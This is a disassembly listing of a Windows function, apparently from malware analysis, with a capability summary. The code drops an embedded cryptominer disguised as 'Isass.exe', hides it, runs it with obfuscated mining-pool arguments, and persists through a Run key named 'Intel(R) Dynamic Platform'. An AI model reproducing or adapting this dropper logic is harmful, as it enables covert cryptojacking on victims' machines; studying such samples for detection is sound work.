Function at 0x401576
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get file attributes
Get session user name
Persist via run registry key
Read file via mapping
Set file attributes
Set registry value

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x8c0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x860], ecx
mov qword [rbp + 0x868], rdx
call fcn.004027d0
call fcn.00401530
movabs rax, 0x756273757421702e
mov qword [rbp + 0x390], rax
movabs rax, 0x303b7164752c6e76
mov qword [rbp + 0x398], rax
movabs rax, 0x7070712f736e7930
mov qword [rbp + 0x3a0], rax
movabs rax, 0x6873666f6a6e2f6d
mov qword [rbp + 0x3a8], rax
movabs rax, 0x3b6e70642f667562
mov qword [rbp + 0x3b0], rax
movabs rax, 0x652e213137363635
mov qword [rbp + 0x3b8], rax
movabs rax, 0x762e21322e216863
mov qword [rbp + 0x3c0], rax
movabs rax, 0x656f626f73666721
mov qword [rbp + 0x3c8], rax
movabs rax, 0x416f767073632f70
mov qword [rbp + 0x3d0], rax
movabs rax, 0x2176732f6d6a626e
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 0x7921712e
lea rdx, [rbp + 0x3e8]
mov eax, 0
mov ecx, 0x35
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x83c], 0
jmp 0x4016a2
mov eax, dword [rbp + 0x83c]
cdqe
movzx eax, byte [rbp + rax + 0x390]
sub eax, 1
mov edx, eax
mov eax, dword [rbp + 0x83c]
cdqe
mov byte [rbp + rax + 0x390], dl
add dword [rbp + 0x83c], 1
mov eax, dword [rbp + 0x83c]
movsxd rbx, eax
lea rax, [rbp + 0x390]
mov rcx, rax
call sub.msvcrt.dll_strlen
cmp rbx, rax
jb 0x401677
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
mov rax, qword [rbp + 0x830]
mov r8d, 0xa
lea rdx, str.Miner
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x828], rax
mov rdx, qword [rbp + 0x828]
mov rax, qword [rbp + 0x830]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x818], rax
mov rdx, qword [rbp + 0x828]
mov rax, qword [rbp + 0x830]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x814], eax
mov dword [rbp + 0x7a8], 0x32
lea rdx, [rbp + 0x7a8]
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.C:Users_sAppDataLocalIsass.exe
mov rcx, rax
call fcn.00408060
lea rax, [rbp + 0x90]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov qword [rsp + 0x28], 0
mov edx, dword [rbp + 0x814]
mov dword [rsp + 0x20], edx
mov r9d, 0
mov r8d, 4
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x800], rax
mov rax, qword [rbp + 0x800]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7f8], rax
mov ecx, dword [rbp + 0x814]
mov rdx, qword [rbp + 0x818]
mov rax, qword [rbp + 0x7f8]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call rax
mov rax, qword [rbp + 0x800]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x808]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x7f4], eax
mov eax, dword [rbp + 0x7f4]
lea edx, [rax + 6]
lea rax, [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov r8d, 0xa
lea rdx, str.Library
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp + 0x7e0], rax
mov rdx, qword [rbp + 0x7e0]
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp + 0x7d0], rax
mov rdx, qword [rbp + 0x7e0]
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp + 0x7cc], eax
mov dword [rbp + 0x7a4], 0x32
lea rdx, [rbp + 0x7a4]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp + 0x10]
lea rax, [rbp + 0x190]
mov r8, rdx
lea rdx, str.C:Users_sAppDataLocalmsvcr110.dll
mov rcx, rax
call fcn.00408060
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov edx, dword [rbp + 0x7cc]
mov dword [rsp + 0x20], edx
mov r9d, 0
mov r8d, 4
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov ecx, dword [rbp + 0x7cc]
mov rdx, qword [rbp + 0x7d0]
mov rax, qword [rbp + 0x7b0]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call rax
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x190]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x7ac], eax
mov eax, dword [rbp + 0x7ac]
lea edx, [rax + 6]
lea rax, [rbp + 0x190]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov dword [rbp + 0x7a0], 0x32
lea rdx, [rbp + 0x7a0]
lea rax, [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x590]
mov r8, rdx
lea rdx, str.C:Users_sAppDataLocalIsass.exe
mov rcx, rax
call fcn.00408060
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x590]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov edx, 0x100
lea rax, [rbp + 0x290]
mov r8d, edx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x798]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov rax, qword [rbp + 0x798]
test rax, rax
je 0x401c3e
lea rax, [rbp + 0x290]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, eax
mov rax, qword [rbp + 0x798]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x290]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Intel_R__Dynamic_Platform
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x798]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x8c0
pop rbx
pop rdi
pop rbp
ret